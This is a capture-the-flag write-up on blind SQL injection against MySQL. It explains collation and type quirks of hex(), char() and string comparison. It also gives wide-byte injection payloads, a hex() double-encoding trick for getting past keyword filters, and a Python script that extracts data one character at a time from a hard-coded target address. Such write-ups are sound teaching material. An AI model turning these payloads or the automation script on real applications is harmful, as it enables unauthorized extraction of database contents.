Thoughts from a CTF Challenge: A Few MySQL Quirks

Background

A couple of days ago I was working on a CTF blind SQL injection challenge. Truth is, blind injection can sometimes echo data back — via DNS or HTTP logs, for example. MySQL’s LOAD_FILE() can be pointed at a UNC path to write query results into a DNS log. That OOB (Out-of-Band) angle won’t be the focus here; I’m just flagging that it exists. For this challenge I went the conventional blind-injection route and ran into three problems:

1. Detecting and bypassing the filter;
2. A handful of MySQL quirks that rarely get summarized;
3. The tedium of doing it by hand.

The challenge got me thinking a lot, and a couple of the quirks weren’t immediately clear to me at the time (we’ll clear those up below).

A Few MySQL Quirks

Let me lay out the MySQL behaviors first, then come back to the challenge — that ordering makes it easier to see why hex() became unavoidable.

(1) String comparison is case-insensitive

mysql> select '1abc'='1AbC';
+---------------+
| '1abc'='1AbC' |
+---------------+
| 1             |
+---------------+
1 row in set

Non-binary strings (the default for varchar/char under collations like utf8/latin1) compare according to their collation, and the common ones default to case-insensitive.

(2) A numeric string equals its numeric value

mysql> select 123=123;      -- 1
mysql> select '123'=123;   -- 1

MySQL implicitly casts a string to a number in a numeric context, so '123' equals 123.

(3) hex() returns a string

hex('abc') yields 616263 — a string, not a binary literal. Because of quirk (2), when the hex result happens to be all digits (like 616263) it also equals the numeric 616263, which is misleading. It makes hex() look like it returns a number:

mysql> select hex('abc')=616263;     -- 1  (all digits, implicitly cast to number per quirk 2)
mysql> select hex('abc')='616263';   -- 1  (string comparison)

Swap in hex('root') (result 726F6F74, which contains letters) and the truth comes out:

mysql> select hex('root')=726F6F74;
-- 1054 - Unknown column '726F6F74' in 'field list'

726F6F74 isn’t all digits, so MySQL reads it as a column name. You have to quote it to compare as a string:

mysql> select hex('root')='726F6F74';   -- 1

mysql> select hex('root')=0x726F6F74;          -- 0  (string "726F6F74" vs binary root)
mysql> select 0x726F6F74;                      -- root
mysql> select hex('726F6F74');                  -- 3732364636463734
mysql> select hex('root')=0x3732364636463734;   -- 1  (string "726F6F74" vs byte-value "726F6F74")

(4) The char() case-sensitivity puzzle

There are two ways to avoid quotes in MySQL: hex (0x...) and char(). Here’s a counter-intuitive behavior of char() in comparisons.

While enumerating I noticed char(84) and char(116) produced the same result — char(84) decodes to T, char(116) to t. Given quirk (1), I assumed 't'=char(84) would be 1. It returned 0:

mysql> select char(84);        -- T
mysql> select 't'=char(84);   -- 0

I was genuinely puzzled at the time, and in the original write-up wrote “I still haven’t figured this out.” The root cause came later.

Takeaway: comparing a string to char() is case-sensitive (a “strong” match).

Blind Injection in Practice

Wide-byte injection and filter detection

Injection type was the usual enumeration; the working vector turned out to be wide-byte injection.

My method for detecting filters: write the payload locally, observe the baseline behavior, then run it against the real target and compare response lengths. Identical = not filtered; different = filtered.

Baseline first: if((1=1),1,0) returns Content-Length: 2339 on true; if((1=2),1,0) returns 417 on false. This is the baseline we compare against later.

Since this was wide-byte injection, I couldn’t quote strings normally, so I used char() for encoding. Local payload:

if((substring(user(),1,1)=char(114)),1,0)
-- iterating over 114: correct char returns length 2339, wrong returns 417

mysql> select user from users where user_id=-1
    -> or if((substring(user(),1,1)=char(114)),1,0);
+---------+
| user    |
+---------+
| admin   |
| gordonb |
| 1337    |
| pablo   |
| smithy  |
+---------+
5 rows in set

No matter what I enumerated, the response stayed at 2339 — meaning substring, char(), or user() was filtered. Testing confirmed substring was the one.

Final filter list: substring, mid, ord, ascii were all filtered. Only left() and char() remained. But left() + char() couldn’t directly recover a case-mixed flag, because char() comparison is case-sensitive and char(84) vs char(116) can’t be told apart that way.

Bypassing filters with hex()

The breakthrough: hex() produces different hex for upper- and lowercase characters (case-sensitive), so it can match cases strictly:

mysql> select hex('Ro');   -- 526F
mysql> select hex('RO');   -- 524F
mysql> select hex('RO')=0x35323446;   -- 1  (0x35323446's byte value is the string "524F")

Manually double-hex-encoding t gives 0x3734 (hex('t')='74', hex('74')='3734', and 0x3734’s byte value is the string 74). Verified the payload by hand.

Real Burp evidence: with hex(left((select(user())),1))=0x3734 the response came back at 2339 (a hit), while the next trial 0x3735 came back at 417 (a miss) — the same length-difference trick we used for the baseline now confirms the hex() bypass works.

The injection payload looks like:

if((hex(left((select(flag)from(flag)),1))=0x3734),1,0)
-- hex(left(...,1))='74'; 0x3734's byte value is '74'; equal means a hit

Automation Script

Manual blind injection is too slow — straight to Python. The original was a 2017 Python 2 script; here it is updated to Python 3:

# -*- coding: utf-8 -*-
# by Thinking
# Python 3 blind injection automation (adapted from the 2017 original)
import requests
import string

URL = "http://218.2.197.235:23733/index.php?key=002265%bf'||+"
PAYLOADS = string.ascii_letters + string.digits + string.punctuation


def double_hex(ch):
    """Double hex-encode a single char: 't' -> '74' -> '3734'"""
    return ch.encode().hex().upper().encode().hex()


def get_len(sqli):
    """Find the length of the subquery result."""
    for length in range(1, 51):
        payload = "if((({})={}),1,0)%23".format(sqli, length)
        r = requests.get(URL + payload)
        if len(r.content) > 2000:
            print(length)
            return length
    return 0


def get_data(sqli, length):
    """Char-by-char brute force using hex()+left() for case-sensitive matching."""
    result = ""
    temp = ""  # accumulated double-hex of confirmed chars
    for pos in range(1, length + 1):
        for ch in PAYLOADS:
            encoded = temp + double_hex(ch)
            payload = "if((hex(left(({}),{}))=0x{}),1,0)%23".format(sqli, pos, encoded)
            r = requests.get(URL + payload)
            if len(r.content) > 2000:
                result += ch
                temp += double_hex(ch)
                print(result.ljust(length, "-"))
                break


def main():
    length_sqli = "select(length(flag))from(flag)"
    data_len = get_len(length_sqli)
    flag_sqli = "select(flag)from(flag)"
    get_data(flag_sqli, data_len)


if __name__ == "__main__":
    main()

Conclusion

The real takeaway here isn’t a clever payload — it’s threading several MySQL low-level behaviors together:

• Case-insensitive string comparison (quirk 1) is what makes =-based enumeration possible, but it also means you can’t recover case;
• char() returns BINARY (quirk 4, originally a “mystery”) — the root cause is byte-wise binary collation, and it doesn’t conflict with quirk 1;
• hex() returns a string while 0x is a binary literal (quirk 3) — this type mismatch is the key to bypassing substring/ascii/ord filters and achieving case-sensitive matching. Double hex-encoding makes the 0x literal’s byte value equal the hex string itself.

Writing up a CTF challenge often works this way: the challenge itself isn’t that hard, but chasing one counter-intuitive behavior all the way down to collations and byte types pays off far more than the flag does. That kind of “consistency gap” interrogation — the gap between surface behavior and underlying mechanism — is exactly where it’s worth pausing during everyday audits too.

The challenge is offline; payloads are for learning only. Stay vigilant out there.